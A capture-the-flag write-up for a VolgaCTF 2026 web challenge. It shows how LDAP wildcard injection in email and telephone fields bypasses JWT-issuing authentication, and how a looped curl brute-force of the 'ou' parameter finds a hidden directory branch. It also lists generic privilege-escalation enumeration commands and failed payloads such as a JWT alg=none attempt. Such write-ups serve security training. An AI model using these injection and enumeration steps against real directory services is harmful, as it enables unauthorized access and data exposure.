Directory
Directory
Platform: Volgactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-28 | Status: Solved Techniques: auth_bypass_via_wildcard, hint_analysis, ldap_base_dn_manipulation, ldap_wildcard_injection, ou_brute_force
Summary
Task: Corporate directory service with LDAP backend and JWT auth — bypass authentication and find hidden data. Solution: LDAP wildcard injection in email/telephone fields to bypass auth, then brute-force organizational unit parameter to discover hidden OU containing the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
volgactf| ID:20260328_volgactf_directory - Tags: flask, jwt, authentication_bypass, gunicorn, directory_enumeration, ldap_injection, openldap, ldap_wildcard, organizational_unit_enumeration
- Indicators: LDAP backend behind web application, wildcard (*) accepted in some input fields but blocked in others, search filter constructed from user input, ou parameter used in LDAP base DN construction, JWT authentication with directory browsing
- Source:
20260328_volgactf_directory.md
Foothold
Vulnerability / Misconfiguration
- Auth_bypass_via_wildcard
- Hint_analysis
- Ldap_base_dn_manipulation
- Ldap_wildcard_injection
- Ou_brute_force
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- auth_bypass_via_wildcard
- hint_analysis
- ldap_base_dn_manipulation
- ldap_wildcard_injection
- ou_brute_force
- Tags: flask, jwt, authentication_bypass, gunicorn, directory_enumeration, ldap_injection, openldap, ldap_wildcard, organizational_unit_enumeration
Original Writeup
<details><summary>Click to expand original content</summary>Description
A corporate directory service web application. Bypass auth to get the flag.
Flask/Gunicorn web application backed by OpenLDAP. Three endpoints: /search (user lookup), /auth (JWT authentication requiring username + email + telephone), and /directory (browse departments with JWT). Goal: bypass authentication and find the flag hidden in the LDAP directory.
Analysis
Endpoint Discovery
The application exposes three main endpoints:
POST /search— Search users byusernameoremail. Wildcards (*) blocked inusernamebut allowed inemail, revealing LDAP wildcard injection potential.POST /auth— Authenticate withusername,email, andtelephone. Returns JWT token (HS256) on success.GET /directory— Browse department directory byou(organizational unit) andtelephoneNumberparameters. Requires valid JWT.
Server headers: Server: gunicorn, Access-Control-Allow-Origin: *.
User Enumeration
Using /search with common usernames, two valid accounts were found:
admin— exists but disabled (auth always returns 403: "this account is disabled")operator— exists and active
LDAP Filter Structure
The authentication likely constructs an LDAP search filter like:
(&(uid=USERNAME)(mail=EMAIL)(telephoneNumber=PHONE))
Since email and telephone fields accept wildcards, injecting * matches any value — effectively bypassing the need to know actual credentials.
Hidden Organizational Unit
The /directory endpoint uses the ou parameter to construct the LDAP base DN:
ou=VALUE,dc=volgactf,dc=ru
Only users and staff OUs are advertised, but a hidden secret OU exists containing the flag.
Solution
Step 1: Enumerate Users via /search
# Wildcards blocked in username but allowed in email
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/search \
-H "Content-Type: application/json" \
-d '{"username":"admin"}'
# → Found: admin exists
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/search \
-H "Content-Type: application/json" \
-d '{"username":"operator"}'
# → Found: operator exists
Step 2: Bypass Authentication with LDAP Wildcard Injection
# Admin is disabled
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/auth \
-H "Content-Type: application/json" \
-d '{"username":"admin","email":"*","telephone":"*"}'
# → 403: "this account is disabled"
# Operator works — wildcard injection bypasses credential check
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/auth \
-H "Content-Type: application/json" \
-d '{"username":"operator","email":"*","telephone":"*"}'
# → 200: JWT token returned
# Hint: "Explore /directory to find more information. Departments: users, staff"
JWT payload: {"uid":"operator","iat":...,"exp":...} (HS256 signed).
Step 3: Explore Known Departments
TOKEN="<jwt_token>" # List users in 'users' department curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=users&telephoneNumber=*" \ -H "Authorization: Bearer $TOKEN" # → jdoe, admin, asmith, operator # List users in 'staff' department curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=staff&telephoneNumber=*" \ -H "Authorization: Bearer $TOKEN" # → hr-anna, dev-ivan # KEY HINT from hr-anna's description: # "HR manager. Secrets are kept in a separate branch — ask the operator."
Step 4: Brute-Force Hidden Organizational Unit
The hint about "separate branch" suggests a hidden OU in the LDAP tree.
# Brute-force common OU names
for ou in secret secrets admin flag flags hidden private confidential restricted; do
result=$(curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=$ou&telephoneNumber=*" \
-H "Authorization: Bearer $TOKEN")
echo "$ou: $result"
done
# → "secret" returns data!
Step 5: Retrieve the Flag
curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=secret&telephoneNumber=*" \ -H "Authorization: Bearer $TOKEN" # → User "flag-keeper" with description containing the flag
Failed Approaches
- LDAP injection in username — blocked by character validation (alphanumeric only)
- JWT
alg=noneattack — rejected with "Invalid token" - JWT secret cracking — secret not in common wordlists
- LDAP injection in
telephoneNumber(e.g.,*)(userPassword=*) — returned "No users found" - Authenticating as
admin— account permanently disabled
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR